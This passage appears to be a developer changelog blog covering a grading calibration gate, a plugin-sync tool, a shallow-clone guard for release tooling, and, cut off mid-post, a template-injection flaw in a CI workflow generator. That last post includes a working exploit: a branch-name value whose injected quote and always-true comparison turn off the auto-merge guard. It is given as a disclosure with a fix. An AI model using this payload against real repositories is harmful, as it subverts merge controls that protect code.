The read-only connection is worth a sentence. SQLite’s URI filename mode parameter opens the database read-only, so a stray write is refused by the engine rather than avoided by the script remembering to only SELECT. This thing points at production data; make that structural.

Run it, then prove it bites

python3 seed.py && python3 calibrate.py; echo "EXIT=$?"

Calibration - 48 graded records

metric         A   B   C   D   F     n  verdict
-----------------------------------------------
distance      31   8   3   0   6    48  ok - 4/5 bands used, A 65%, D/F 12%
pace          31   8   3   0   6    48  ok - 4/5 bands used, A 65%, D/F 12%
hr            26   8   8   0   6    48  ok - 4/5 bands used, A 54%, D/F 12%

overall (informational, not gated)
  letters: A=24  B=15  C=3  D=3  F=3
  F-cap fired on 9/48 (19%)

OK - every graded metric still uses its bands.
EXIT=0

A clean run proves nothing until you have watched it fail. Open rubric.py, change SCALE in hr_deviation from 28.0 to 200.0, which makes the heart-rate ceiling so forgiving that nothing can breach it, and re-run:

hr            42   6   0   0   0    48  FAIL - dead bands - C, D, F never used
            governed by: GRADE_BANDS, NOISE, SCALE

Then swing it the other way, SCALE = 2.0, so a single beat over the cap is catastrophic:

hr            19   0   4   0  25    48  FAIL - dead bands - B, D never used
            governed by: GRADE_BANDS, NOISE, SCALE

Both directions caught, and the second one is instructive: at 52% D/F it slid under the punitive-skew threshold and the dead-band signature caught it anyway. Two loose checks covering each other beat one tight one you have to tune.

Set SCALE back to 28.0 before continuing.

The other half: assert the verdict, not the float

The gate finds a scale that has collapsed. It cannot tell you that a specific run got the wrong letter, because it never looks at any single record. That is what verdict evals are for, and the design decision that makes them survive is to declare bounds rather than exact letters. A bound is the real contract, “this run deserves at least a B”, and it survives ordinary recalibration; an exact letter fights every tuning pass and gets deleted within a month.

Save as test_verdicts.py:

"""Verdict evals: what grade does this record DESERVE."""
import pytest

from rubric import GRADE_POINTS, base_letter, grade_record

BASE = {"distance_m": 8000.0, "target_distance_m": 8000.0,
        "pace_s_per_km": 360.0, "target_pace_s_per_km": 360.0,
        "avg_hr": 130.0, "cap_bpm": 140.0, "intent": "easy"}

SCENARIOS = {
    "obedient_clean": BASE,
    # The one that started this: the average obeys the ceiling, but the run
    # spent most of its time a beat or two over it.
    "straddling_the_cap": {**BASE, "avg_hr": 141.0},
    "cap_blown_hard": {**BASE, "avg_hr": 158.0},
    # An easy day run slower than target is compliant, not a miss.
    "easy_run_slow": {**BASE, "pace_s_per_km": 402.0},
    "distance_way_short": {**BASE, "distance_m": 4200.0},
}

EXPECTED_VERDICTS = {
    "obedient_clean": {
        "min": "A",
        "why": "Distance, pace and heart rate all on prescription with room to "
               "spare. There is no defensible reading in which this is not an A.",
    },
    "straddling_the_cap": {
        "min": "B",
        "why": "One beat over a stated 140 ceiling is sensor noise, not "
               "disobedience. Anything below a B here means the metric is "
               "punishing measurement error.",
    },
    "cap_blown_hard": {
        "max": "C",
        "why": "18 bpm over a stated ceiling, sustained. The cap has to bite "
               "here, or the straddling fix has simply disabled the metric.",
    },
    "easy_run_slow": {
        "min": "A",
        "why": "An easy day is supposed to be easy. A one-sided expectation "
               "must not charge for landing on the free side of the bound.",
    },
    "distance_way_short": {
        "max": "C",
        "why": "Roughly half the prescribed distance. A composite that still "
               "returns a B is averaging away the only thing that was asked for.",
    },
}


def points(letter):
    return GRADE_POINTS[base_letter(letter)]


def test_every_scenario_declares_a_verdict():
    """A scenario nobody has judged is a fixture, not an eval. This is what
    stops the suite drifting back into asserting mechanics only."""
    assert set(EXPECTED_VERDICTS) == set(SCENARIOS)
    for name, spec in EXPECTED_VERDICTS.items():
        assert spec.get("min") or spec.get("max"), f"{name} bounds nothing"
        assert len(spec.get("why", "")) > 40, f"{name} does not say why"


@pytest.mark.parametrize("name", sorted(SCENARIOS))
def test_scenario_meets_its_declared_verdict(name):
    spec = EXPECTED_VERDICTS[name]
    overall = grade_record(SCENARIOS[name])["overall"]
    if "min" in spec:
        assert points(overall) >= points(spec["min"]), (
            f"{name}: got {overall}, expected at least {spec['min']} - {spec['why']}")
    if "max" in spec:
        assert points(overall) <= points(spec["max"]), (
            f"{name}: got {overall}, expected at most {spec['max']} - {spec['why']}")


def test_the_cap_scenarios_are_strictly_ordered():
    """Obeying >= straddling > blowing it.

    An ordering, not three fixed letters, because the failure being guarded is
    COLLAPSE: the original rubric scored straddling and blowing it identically.
    Any over-correction that makes the cap stop biting fails the second half.
    """
    clean = grade_record(SCENARIOS["obedient_clean"])["overall"]
    straddled = grade_record(SCENARIOS["straddling_the_cap"])["overall"]
    blown = grade_record(SCENARIOS["cap_blown_hard"])["overall"]
    assert points(clean) >= points(straddled) > points(blown)

test_every_scenario_declares_a_verdict is the piece that keeps the file honest over time. Without it, somebody adds a scenario, forgets the bound, and the suite quietly goes back to asserting mechanics.

Run it with python3 -m pytest test_verdicts.py -q and you should see 7 passed.

Gotchas

The eval will fail the first time you run it, and it will be right. Writing this example, the last band edge was (0.50, "D"). A run that covered 4.2 km of a prescribed 8 km is a 47.5% deviation, which landed inside D, which meant the F-cap never fired, which meant the composite averaged a near-total miss into an overall B. Every unit test still passed, because 0.475 really does map to D under that table. The escape is to treat the eval as the authority over the constant, not the reverse: moving the last edge to 0.40 produced 7 passed. Then re-run the calibration gate to check that the new edge did not wreck the distribution somewhere else, which is the loop these two tools are designed to form.

Do not gate on concentration in a passing letter. The first draft of the real script failed any letter above a flat 60% share, and it immediately flagged three of five healthy metrics. Distance grades 79% A on live data because the prescribed distances are being hit. Symmetry feels principled and produces a gate people mute in a week.

Do not put this in CI, and say so out loud. It needs a populated production database, and a fabricated one would only ask the fixture whether it agrees with itself. The real repo goes as far as a test named test_the_gate_is_not_wired_into_ci that fails if someone adds it to a workflow, which sounds pedantic until you picture the alternative: a green check next to a corpus that proves nothing.

A dead band on live data is a weaker claim than a wrong grade. It says the metric is unproven over this window, not broken. Running the real gate against 42 sessions today, the prescribed-cap heart-rate metric passes with four of five bands used, while the other heart-rate regime, the rolling reference band used when no ceiling was prescribed, fails with C and F never issued across 32 graded runs. That is a genuine open finding, and it may well turn out to be a thin window rather than a bad table. The value is that it is now a question somebody has to answer before touching a constant, instead of a thing nobody had looked at.

Grade through the production entry point, never a copy. It is tempting to reimplement the scoring inline in the calibration script, because the production path needs a database connection and context objects you have to wire up. Then the two drift, and a clean report means the copy is healthy. Wire up the real thing.

Sources

Data Validation for Machine Learning (Breck, Polyzotis, Roy, Whang, Zinkevich; MLSys 2019) — the argument for validating distributions rather than examples, including how a slice-local defect hides behind healthy aggregate metrics
Overview of Classical Test Theory and Item Response Theory (Cappelleri, Lundy, Hays) — items everyone answers identically are uninformative, and variability is what makes a scored item useful
Google SRE Book, Monitoring Distributed Systems — every alert must be actionable, because over-firing trains people to skim and ignore
SQLite URI filenames — the mode=ro query parameter that makes the read-only guarantee the engine’s job

Changelog

release: 0.43.0 — report-card grading fix, one-page PDFs, read-cache, and a calibration gate (dev → main) (#185) (29ac1b8)
chore(brand): press v0.7.2 — BRAND VALUES CHANGED (#174) (afc16ec)
chore(brand): adopt press v0.7.1 (#172) (a0f6798)
refactor(branding): generate the PRESS token block from the shared brand (#166) (#167) (2a0f229)

Available, on disk, and live are three different states

Sun, 02 Aug 2026 00:00:00 GMT

Shipped

pluginsync 0.1.0 reconciles the Claude Code plugins installed on a machine with what the marketplace actually offers. It reports one row per plugin, installs what is missing, updates what drifted, and then re-reads the installed list and compares.

That last step is the entire reason it exists rather than being a shell alias for four commands. claude plugin update prints no version and returns success when it no-ops. So “✓ updated skillfactory” followed by a /skillfactory that still runs the old code is not a rare edge case; it is the default failure, and nothing in the output distinguishes it from success.

The pattern generalizes to anything that mutates state through a CLI you do not control. Below is a runnable version, small enough to lift into whatever your equivalent is.

The three states a manager collapses into one

Most package and plugin managers report one bit: the command worked. There are actually three states, and conflating any two of them produces a confidently wrong report.

State	Means	How it is known
available	the source offers this version	the catalog or manifest at the source
on disk	this version is installed here	the manager’s list output, re-read after every write
live	this version is loaded in the running process	only true after a restart, so never assert it

Other tools already draw part of this line. npm outdated prints three columns, where Current is what is installed in node_modules, Wanted is the most recent version your semver range allows, and Latest is what the registry tags. Ansible goes further and makes the distinction a return value: every module reports changed, a boolean for whether the task actually had to modify the target, separately from whether it failed. Terraform calls the same idea refresh, reading the current settings from real remote objects and updating state to match rather than trusting what it last wrote.

The rule that falls out: never report a thing as updated because a command succeeded; report it because the version on disk changed.

Prerequisites: a manager that lies to you

To watch the failure, you need a manager that no-ops silently. Save this as fake-pm.mjs. It stands in for the real CLI and behaves the way most of them do.

#!/usr/bin/env node
/**
 * A stand-in for the package/plugin manager you actually use.
 *
 * It behaves the way most of them do: `update` prints a cheerful line and
 * exits 0 whether or not anything moved. `STUCK` is the real-world case being
 * simulated, a plugin the manager believes is fine and refuses to touch.
 */
import { readFileSync, writeFileSync } from 'node:fs';

const STATE = new URL('./state/installed.json', import.meta.url);
const STUCK = new Set(['reporter']);   // pretend this one silently no-ops

const read = () => JSON.parse(readFileSync(STATE, 'utf8'));
const [cmd, name] = process.argv.slice(2);

if (cmd === 'list') {
  console.log(JSON.stringify(read(), null, 2));
} else if (cmd === 'update' || cmd === 'install') {
  const installed = read();
  const available = JSON.parse(
    readFileSync(new URL('./catalog/catalog.json', import.meta.url), 'utf8'));
  if (!STUCK.has(name)) {
    const row = installed.find((p) => p.name === name);
    const target = available[name];
    if (row) row.version = target;
    else installed.push({ name, version: target, enabled: true });
    writeFileSync(STATE, `${JSON.stringify(installed, null, 2)}\n`);
  }
  console.log(`✓ ${cmd}ed ${name}`);   // exits 0 either way. This is the bug.
} else {
  console.error('usage: fake-pm <list|install|update> [name]');
  process.exit(2);
}

Then the fixture it reads:

mkdir -p state catalog overrides/formatter && touch overrides/formatter/OVERRIDE.md

cat > catalog/catalog.json <<'JSON'
{ "formatter": "2.1.0", "linter": "0.9.4", "reporter": "1.4.0", "bundler": "3.0.1" }
JSON

cat > state/installed.json <<'JSON'
[
  { "name": "formatter", "version": "2.1.0", "enabled": true },
  { "name": "linter", "version": "0.9.1", "enabled": true },
  { "name": "reporter", "version": "1.2.0", "enabled": true }
]
JSON

Read the facts in one place, decide in another

Every fact comes from exactly one reader, and no reader classifies anything. A function that reads and also decides is a function you cannot point at a fixture. Save as state.mjs.

/**
 * Every fact this tool reports, read from exactly one place.
 * Nothing here classifies or renders: a reader that also decides is a reader
 * you cannot test against a fixture.
 */
import { existsSync, readFileSync } from 'node:fs';
import { join, relative } from 'node:path';

/** Read JSON, returning null rather than throwing. A missing file is data. */
export function readJson(path) {
  try {
    return JSON.parse(readFileSync(path, 'utf8'));
  } catch {
    return null;
  }
}

/**
 * AVAILABLE: what the source offers, read from the catalog rather than from
 * the manager. An entry whose source cannot be read becomes a row with
 * `error` set, never a dropped row: omitting it reads as "nothing to do",
 * which is the exact silent success this tool exists to prevent.
 */
export function readCatalog(catalogPath) {
  const raw = readJson(catalogPath);
  if (!raw) return { ok: false, error: `cannot read catalog at ${catalogPath}`, plugins: [] };
  const plugins = Object.entries(raw).map(([name, version]) => (
    version
      ? { name, available: String(version), error: null }
      : { name, available: null, error: 'catalog declares no version' }
  ));
  return { ok: true, error: null, plugins };
}

/**
 * ON DISK: what is installed right now.
 *
 * An unrecognised shape THROWS rather than reading as an empty list. "Nothing
 * is installed" and "I could not parse the list" render identically otherwise,
 * and the first one tells you to reinstall everything.
 */
export function readInstalled(raw) {
  const list = Array.isArray(raw) ? raw : raw?.installed;
  if (!Array.isArray(list)) {
    throw new Error('unrecognised list output — expected an array or {installed: [...]}');
  }
  const out = new Map();
  for (const p of list) {
    if (!p?.name) continue;
    out.set(p.name, {
      name: p.name,
      version: String(p.version ?? ''),
      enabled: p.enabled !== false,
    });
  }
  return out;
}

/**
 * A local override at <overrideDir>/<name> wins over the managed copy, and no
 * version number anywhere reveals it: the managed copy updates cleanly and the
 * stale one keeps being the code that runs.
 */
export function findShadows(overrideDir, names) {
  return names
    .filter((n) => existsSync(join(overrideDir, n)))
    // Relative, so the report is the same on every machine and can be diffed.
    .map((n) => ({ name: n, path: relative(process.cwd(), join(overrideDir, n)) }));
}

/** The diff. Pure, so it is testable without a filesystem or a subprocess. */
export function classify({ catalog, installed }) {
  return catalog.plugins.map((entry) => {
    const have = installed.get(entry.name);
    if (entry.error) return { ...entry, installed: have?.version ?? null, action: 'error' };
    if (!have) return { ...entry, installed: null, action: 'install' };
    if (have.version !== entry.available) {
      return { ...entry, installed: have.version, action: 'update' };
    }
    return { ...entry, installed: have.version, action: have.enabled ? 'ok' : 'disabled' };
  });
}

export const changeable = (rows) => rows.filter((r) => r.action === 'install' || r.action === 'update');

Write, then read the version back

apply runs the manager’s commands and then does the thing the manager will not do for you: it re-reads the installed list and compares each row against what the catalog offered. Anything that did not move is stalled, and stalled exits non-zero exactly like a failure. Save as sync.mjs.

#!/usr/bin/env node
/**
 * check  — diff available against on-disk and print one row per plugin
 * apply  — write, then READ THE VERSION BACK and compare
 *
 * Exit 1 when anything failed or stalled, so a script calling this can tell.
 */
import { execFileSync } from 'node:child_process';
import { fileURLToPath } from 'node:url';

import { changeable, classify, findShadows, readCatalog, readInstalled } from './state.mjs';

const MANAGER = fileURLToPath(new URL('./fake-pm.mjs', import.meta.url));
const CATALOG = fileURLToPath(new URL('./catalog/catalog.json', import.meta.url));
const OVERRIDES = fileURLToPath(new URL('./overrides', import.meta.url));

/** The one call that reaches the manager for state. Isolated so tests can stub it. */
function listInstalled() {
  const out = execFileSync('node', [MANAGER, 'list'], { encoding: 'utf8' });
  return readInstalled(JSON.parse(out));
}

function table(rows, cols) {
  const head = cols.map((c) => c.label);
  const body = rows.map((r) => cols.map((c) => String(c.get(r) ?? '-')));
  const width = head.map((h, i) => Math.max(h.length, ...body.map((r) => r[i].length)));
  const line = (cells) => `| ${cells.map((c, i) => c.padEnd(width[i])).join(' | ')} |`;
  return [line(head), `|${width.map((w) => '-'.repeat(w + 2)).join('|')}|`,
    ...body.map(line)].join('\n');
}

function gather() {
  const catalog = readCatalog(CATALOG);
  if (!catalog.ok) throw new Error(catalog.error);
  const installed = listInstalled();
  const rows = classify({ catalog, installed });
  return { rows, shadows: findShadows(OVERRIDES, rows.map((r) => r.name)) };
}

function reportShadows(shadows) {
  for (const s of shadows) {
    console.log(`\n! ${s.name} is shadowed by ${s.path} - that copy wins regardless of version`);
  }
}

function cmdCheck() {
  const { rows, shadows } = gather();
  console.log(table(rows, [
    { label: 'Plugin', get: (r) => r.name },
    { label: 'On disk', get: (r) => r.installed },
    { label: 'Available', get: (r) => r.available },
    { label: 'Action', get: (r) => r.action },
  ]));
  reportShadows(shadows);
  console.log(`\n${changeable(rows).length} to change · restart before calling any of it live`);
  if (rows.some((r) => r.action === 'error')) process.exitCode = 1;
}

function cmdApply() {
  const before = gather();
  const attempts = [];
  for (const row of changeable(before.rows)) {
    const verb = row.action;
    try {
      execFileSync('node', [MANAGER, verb, row.name], { encoding: 'utf8', stdio: 'pipe' });
      attempts.push({ row, verb, failure: null });
    } catch (err) {
      attempts.push({ row, verb, failure: (err.stderr || err.message).toString().trim() });
    }
  }

  // The whole point. Trusting the exit code here is the bug being guarded.
  const after = listInstalled();
  const rows = attempts.map(({ row, verb, failure }) => {
    const now = after.get(row.name)?.version ?? null;
    if (failure) return { name: row.name, was: row.installed, now, outcome: 'failed', note: failure };
    if (now === row.available) {
      const done = verb === 'install' ? 'installed' : 'updated';
      return { name: row.name, was: row.installed, now, outcome: done, note: null };
    }
    return {
      name: row.name, was: row.installed, now, outcome: 'stalled',
      note: `${verb} exited 0 but the version on disk is still ${now ?? 'absent'}`,
    };
  });

  console.log(table(rows, [
    { label: 'Plugin', get: (r) => r.name },
    { label: 'Was', get: (r) => r.was },
    { label: 'Now', get: (r) => r.now },
    { label: 'Outcome', get: (r) => r.outcome },
    { label: 'Note', get: (r) => r.note },
  ]));
  reportShadows(before.shadows);
  console.log('\nNothing above is live until you restart.');
  if (rows.some((r) => r.outcome === 'failed' || r.outcome === 'stalled')) process.exitCode = 1;
}

try {
  const cmd = process.argv[2];
  if (cmd === 'check') cmdCheck();
  else if (cmd === 'apply') cmdApply();
  else { console.error('usage: sync <check|apply>'); process.exitCode = 2; }
} catch (err) {
  console.error(`sync: ${err.message}`);
  process.exitCode = 1;
}

Run it and watch the stall get caught

node sync.mjs check; echo "EXIT=$?"

| Plugin    | On disk | Available | Action  |
|-----------|---------|-----------|---------|
| formatter | 2.1.0   | 2.1.0     | ok      |
| linter    | 0.9.1   | 0.9.4     | update  |
| reporter  | 1.2.0   | 1.4.0     | update  |
| bundler   | -       | 3.0.1     | install |

! formatter is shadowed by overrides/formatter - that copy wins regardless of version

3 to change · restart before calling any of it live
EXIT=0

Now apply. The manager will print three success lines and exit 0 three times.

node sync.mjs apply; echo "EXIT=$?"

| Plugin   | Was   | Now   | Outcome   | Note                                                   |
|----------|-------|-------|-----------|--------------------------------------------------------|
| linter   | 0.9.1 | 0.9.4 | updated   | -                                                      |
| reporter | 1.2.0 | 1.2.0 | stalled   | update exited 0 but the version on disk is still 1.2.0 |
| bundler  | -     | 3.0.1 | installed | -                                                      |

! formatter is shadowed by overrides/formatter - that copy wins regardless of version

Nothing above is live until you restart.
EXIT=1

reporter is the row that matters. The manager said ✓ updated reporter and returned 0; the version on disk never moved, and the only reason you know is that something read it back. Without the read-back this run is three green checks and a wrong mental model of what your machine is running.

To confirm the check is reading reality rather than replaying its own diff, edit state/installed.json by hand, set linter back to 0.9.1, and run check again. The row returns to update.

Gotchas

Diffing against the wrong list reports everything as clean. Claude Code’s claude plugin list --available --json looks like the obvious source for available versions. It lists only plugins that are not installed, so every plugin you already have is absent from it, and a diff against it compares nothing and finds no drift. It is a source that is wrong in the direction of silence, which is the worst direction. Take available versions from the catalog at the source instead, which for Claude Code plugins means the version field in .claude-plugin/plugin.json. That field is also what decides whether users get an update at all: set it, and they only receive one when you bump it.

An unparsable list and an empty list must not render the same. The first version treated any unexpected shape as “no plugins installed”, which produced a table telling you to reinstall every plugin you already had. readInstalled throws on an unrecognised shape for exactly this reason. The real CLI has two legitimate output shapes, a bare array and an object with an installed key, so the parser accepts both and rejects a third rather than guessing.

A local override is invisible to every version number in the system. A personal copy of a skill at ~/.claude/skills/<name>/SKILL.md wins over the plugin of the same name. The plugin updates cleanly, every version reads correct, and the stale copy is still the code that runs. There is nothing to compare, so it has to be a checked existence fact, which is why findShadows is in the reader layer and not a note in the docs.

A fixture-driven read plus a real write will damage the machine. The tool takes a --home flag so tests can point the readers at a fixture. apply refuses that flag outright, because the reads would come from the fixture while every write still goes to the real install, which means issuing genuine install commands for plugins that only exist in the test. Reading from one machine and writing to another is not a mode worth supporting.

Ending on the restart is part of the contract, not politeness. On-disk and live are different states, and the gap between them is a whole session long. Every report this tool prints closes by naming the restart, because the moment it stops doing that, someone runs /skillfactory, gets the old behavior, and concludes the sync did not work.

Sources

npm-outdated — the Current/Wanted/Latest split, where Current means what is actually installed on disk
Ansible common return values — changed as a first-class boolean, reported separately from success
Terraform refresh — reading current settings from real remote objects instead of trusting last-written state
Claude Code plugins — the .claude-plugin/plugin.json manifest and what its version field controls

Changelog

feat(pluginsync): refresh the installed marketplace, and prove the version moved (#155) (948c2d3)

Nothing unreleased, said the shallow clone

Sun, 02 Aug 2026 00:00:00 GMT

Shipped

First release of a skill that cuts a release for one named component and proves the tag exists by reading it back from the remote. Two fixes landed alongside it, and both are about the same failure: a release tool producing a confident number it had no way to know.

One was a commit range computed in a shallow clone. The other was the release itself firing on a merge, which is not a decision anybody made.

The question underneath every release flow

“What is unreleased?” is what a bump, a changelog draft, and a suggested semver level are all derived from. The usual implementation is one line:

git log <last-tag>..HEAD

Git’s own revision documentation defines that notation precisely: you “ask for commits that are reachable from r2 excluding those that are reachable from r1.” The word carrying all the weight is reachable. The exclusion is computed by walking ancestry, and a clone with grafted history does not have the ancestry to walk.

It does not error. It walks what it has and returns a plausible list.

This is a CI problem more than a laptop problem, because actions/checkout documents fetch-depth as “number of commits to fetch. 0 indicates all history for all branches and tags” with a default of 1. Every job that checks out normally and then asks a range question is asking it of a repository that cannot answer.

Reproduce the wrong answer with real git

This takes about ten seconds and is worth doing once, because the failure is quiet enough that reading about it does not stick.

mkdir -p demo/origin && cd demo/origin
git init -q -b main .
git config user.email a@b.c && git config user.name T
for i in 1 2 3 4 5; do echo "$i" > f$i.txt; git add f$i.txt; git commit -q -m "feat: thing $i"; done
git tag mypkg-v0.1.0
for i in 6 7; do echo "$i" > f$i.txt; git add f$i.txt; git commit -q -m "fix: thing $i"; done
cd ..
git clone -q file://$PWD/origin full
git clone -q --depth 1 file://$PWD/origin shallow
git -C shallow fetch -q --tags origin

Two commits landed after the tag. Ask both clones:

echo "full    $(git -C full    log --oneline mypkg-v0.1.0..HEAD | wc -l)"
echo "shallow $(git -C shallow log --oneline mypkg-v0.1.0..HEAD | wc -l)"

full           2
shallow        1

No warning, no non-zero exit, one number quietly wrong. Which direction it is wrong in depends on where the graft point falls relative to the tag; in the incident that prompted this fix, a CI job saw one unreleased commit where a full clone saw zero, which failed a test asserting that a component with nothing to release is refused. A tool deriving a suggested version bump from that list is deriving it from fiction.

Refuse instead of guessing

The fix is not a better range query. There isn’t one. The fix is to detect that the question is unanswerable and say so, because every number downstream of the commit list inherits the error. Save this as unreleased.mjs:

#!/usr/bin/env node
/** What has landed since the last tag, or a refusal. Never a guess. */
import { execFileSync } from 'node:child_process';

const git = (repo, args) =>
  execFileSync('git', ['-C', repo, ...args], { encoding: 'utf8' }).trim();

export function unreleased(repo, tag) {
  // `tag..HEAD` means "reachable from HEAD, excluding everything reachable
  // from tag". A shallow clone's history is grafted, so the exclusion is
  // computed over ancestry that is not all there -- and git answers anyway.
  if (git(repo, ['rev-parse', '--is-shallow-repository']) === 'true') {
    return {
      ok: false,
      error: 'shallow repository: commit ranges are not answerable here',
      fix: 'git fetch --unshallow --tags   (or actions/checkout with fetch-depth: 0)',
    };
  }
  if (!git(repo, ['tag', '--list', tag])) {
    return { ok: false, error: `no such tag: ${tag}`, fix: 'git fetch --tags' };
  }

  const log = git(repo, ['log', '--format=%h %s', `${tag}..HEAD`]);
  const commits = log ? log.split('\n') : [];
  const bump = commits.some((c) => /^\w+ \w+!:|BREAKING/.test(c))
    ? 'major'
    : commits.some((c) => /^\w+ feat/.test(c))
      ? 'minor'
      : commits.length ? 'patch' : 'none';
  return { ok: true, count: commits.length, commits, suggestedBump: bump };
}

if (import.meta.url === `file://${process.argv[1]}`) {
  const [repo, tag] = process.argv.slice(2);
  const r = unreleased(repo, tag);
  console.log(JSON.stringify(r, null, 2));
  if (!r.ok) process.exit(2);
}

git rev-parse --is-shallow-repository is the whole detection, and it is one call. Run it against both clones:

node unreleased.mjs full mypkg-v0.1.0
node unreleased.mjs shallow mypkg-v0.1.0

{
  "ok": true,
  "count": 2,
  "commits": [
    "ae0b215 fix: thing 7",
    "fd27825 fix: thing 6"
  ],
  "suggestedBump": "patch"
}
{
  "ok": false,
  "error": "shallow repository: commit ranges are not answerable here",
  "fix": "git fetch --unshallow --tags   (or actions/checkout with fetch-depth: 0)"
}

(Your short hashes will differ, since you just created that repository.)

The refusal carries the command that fixes it. A blocker that does not tell you how to unblock is how people learn to pass --force.

Two details worth stealing. The shallow check runs before the tag check, because in a shallow clone a missing tag is a symptom rather than the cause, and diagnosing the symptom sends you looking for the wrong thing. And the failure exits 2 rather than 1, so a caller can distinguish “cannot answer” from “answered: nothing to release”.

The second half: a merge is a push

Being able to trust the number is only useful if something then makes a decision with it. The other fix in this release is that promoting a branch no longer cuts a tag at all.

Auto-merging a promotion branch fires a push event, and a release job listening for pushes to the release branch therefore releases on merge. GitHub’s events reference is plain that push “runs your workflow when you push a commit or tag,” and a merge commit is a commit. So the release fires with nobody having chosen it.

That cost two real releases. One package was tagged 28 seconds after its pull request merged, before a planned changelog edit had landed, so the published release notes were stale; the later, intentional dispatch was a silent no-op because the release workflow skips a tag that already exists. A second package was tagged and published to a registry seconds after its merge, with no dispatch and no decision.

The replacement is workflow_dispatch, which the same docs describe as the way “to enable a workflow to be triggered manually.” The version bump lands on the release branch and stops there, sitting as an untagged bump until something dispatches deliberately.

Gotchas

The two halves have to land together. Removing the push trigger without adding a dispatch leaves the release tool waiting forever for a tag nobody cuts. Adding the dispatch without removing the push trigger double-releases. Escape: treat “what fires the release” as a single switch with exactly one position, change both ends in one commit, and pin it with a check asserting the release job is dispatch-only and does not admit push, because that is the property a well-meaning future edit is most likely to undo.

A default of one commit is a default that answers wrongly rather than loudly. fetch-depth: 1 is the right default for building and testing, and the wrong one for any job that asks a history question. Escape: set fetch-depth: 0 on the jobs that need ancestry, and have the tool itself refuse rather than trusting every caller to remember.

An audit that flags something harmless gets ignored, and then it protects nothing. The check enforcing dispatch-only initially matched any workflow mentioning the release workflow, which included one that only referenced it in a comment and has no release job at all. Escape: match on the structural thing that makes a file capable of the behaviour, in this case the uses: line, not on the string appearing anywhere in the file.

A baseline that reads live repository state is not a baseline. The trap test asserting “a component with nothing to release is refused” shelled out to the real repository, so it passed on a full local clone and failed in CI for reasons unrelated to the code. Escape: drive frozen fixtures through an explicit input path so the test touches git not at all, and treat any baseline that reads live state as a bug in the baseline rather than an environment quirk.

Sources

gitrevisions — the definition of r1..r2 as reachability with exclusion, which is what a grafted history breaks
actions/checkout — fetch-depth and its default of 1
Events that trigger workflows, GitHub Docs — what push fires on, and workflow_dispatch as the manual trigger

Changelog

fix(release): match release callers on their uses: line, not a mention (5f09952)
feat(shipflow)!: a merge never cuts a tag — the dispatch is the release (9436595)
fix(shipflow): a shallow clone cannot answer “what is unreleased?” (#160) (164ab34)

A branch name that turned auto-merge on for every pull request

Sun, 02 Aug 2026 00:00:00 GMT

Shipped

This release closes out an arc that started as a branching-workflow scaffolder and turned into a hardening exercise. Along the way it picked up three selectable workflow patterns, per-job least-privilege permissions in all six templates, a component-release flow that reads a tag back from origin before calling anything done, and a string of security fixes, one of them Critical.

The Critical one is the useful part for anyone else. A tool that renders CI config from a settings file is a code generator, and its output executes with a credential the person editing that settings file is not supposed to hold. That is a trust boundary, and it does not look like one.

The boundary hiding inside your config file

Start with who can write what.

Branch protection, required checks, and secrets are admin-scoped. Adding a file to .github/ is not: anyone with write access can open a PR that edits it, and on many repos, merge it. GitHub’s own security hardening guide is blunt about the surrounding risk, noting that “any user with write access to your repository have read access to all secrets configured in your repository,” and telling you to keep workflow credentials at least privilege.

So when a generator reads .github/yourtool.json and renders a workflow that runs gh with a promotion token, the config is lower-trust input than the thing it controls. A value in that file reaches a privileged credential without ever passing through an admin.

That is CWE-1336, template engine injection: “the product fails to neutralize or incorrectly handles special syntax that template engines can interpret as code.” The classic version is a web template rendering {{7*7}}. This version is quieter, because the injected value never has to look like code. It only has to end a quote.

Build the renderer everyone builds first

Here is a template close to a real promotion workflow. Save it as promote.yml.tmpl:

name: auto-merge {{DEV_BRANCH}} into {{MAIN_BRANCH}}

on:
  pull_request:
    types: [opened, synchronize, reopened]
    branches: ['{{MAIN_BRANCH}}']

permissions: {}

jobs:
  automerge:
    if: github.event.pull_request.head.ref == '{{DEV_BRANCH}}'
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Enable auto-merge
        env:
          GH_TOKEN: ${{ secrets.{{MERGE_CREDENTIAL}} }}
          PR: ${{ github.event.pull_request.html_url }}
        run: gh pr merge --auto {{MERGE_FLAG}} "$PR"

The if: line is the security control. It is what stops this workflow from auto-merging pull requests that are not genuine promotions.

Now the renderer. This is the version almost everyone writes first, in render-naive.mjs:

const TOKEN_RE = /\{\{(\w+)\}\}/g;

export function renderNaive(template, params) {
  return template.replace(TOKEN_RE, (_, name) => String(params[name]));
}

Six lines, no dependencies, works. Feed it a config where DEV_BRANCH is dev' || 'x'=='x and watch the control evaporate. Save this as exploit.mjs:

import { readFileSync } from 'node:fs';
import { renderNaive } from './render-naive.mjs';

const template = readFileSync('promote.yml.tmpl', 'utf8');

const rendered = renderNaive(template, {
  DEV_BRANCH: "dev' || 'x'=='x",
  MAIN_BRANCH: 'main',
  MERGE_CREDENTIAL: 'PROMOTE_PAT',
  MERGE_FLAG: '--merge',
});

for (const line of rendered.split('\n')) {
  if (line.includes('if:')) console.log(line.trim());
}

Run it with node exploit.mjs:

if: github.event.pull_request.head.ref == 'dev' || 'x'=='x'

The quote closed the comparison, and || 'x'=='x' made the whole expression unconditionally true. That workflow now enables auto-merge on any pull request into main. A newline in the same value is worse: it starts a new YAML key, which means new steps in a file that is committed and then executed.

Notice what did not happen. Nothing crashed, and nothing looked malformed.

Valid YAML was never the question

The instinct at this point is to add a YAML parse check. It does not help, and it is worth proving to yourself before you rely on it. Save this as check.mjs:

import { readFileSync } from 'node:fs';
import { parse } from 'yaml';
import { renderNaive } from './render-naive.mjs';

const template = readFileSync('promote.yml.tmpl', 'utf8');
const rendered = renderNaive(template, {
  DEV_BRANCH: "dev' || 'x'=='x",
  MAIN_BRANCH: 'main',
  MERGE_CREDENTIAL: 'PROMOTE_PAT',
  MERGE_FLAG: '--merge',
});

console.log('parses as YAML:', !!parse(rendered));
console.log('if condition   :', parse(rendered).jobs.automerge.if);

With npm install yaml done first, node check.mjs prints:

parses as YAML: true
if condition   : github.event.pull_request.head.ref == 'dev' || 'x'=='x'

Perfectly valid YAML. Syntactic validity tells you the file will load; it says nothing about whether the value stayed inside the slot you put it in. Keep the parse check, because it catches a different bug class, but do not let it stand in for validation.

Give every token its own validator

The fix is not one escape function. The same renderer drops values into different grammars, and each grammar has a different set of characters that mean something:

DEV_BRANCH and MAIN_BRANCH land inside single-quoted YAML scalars. Quotes and newlines are the escape characters.
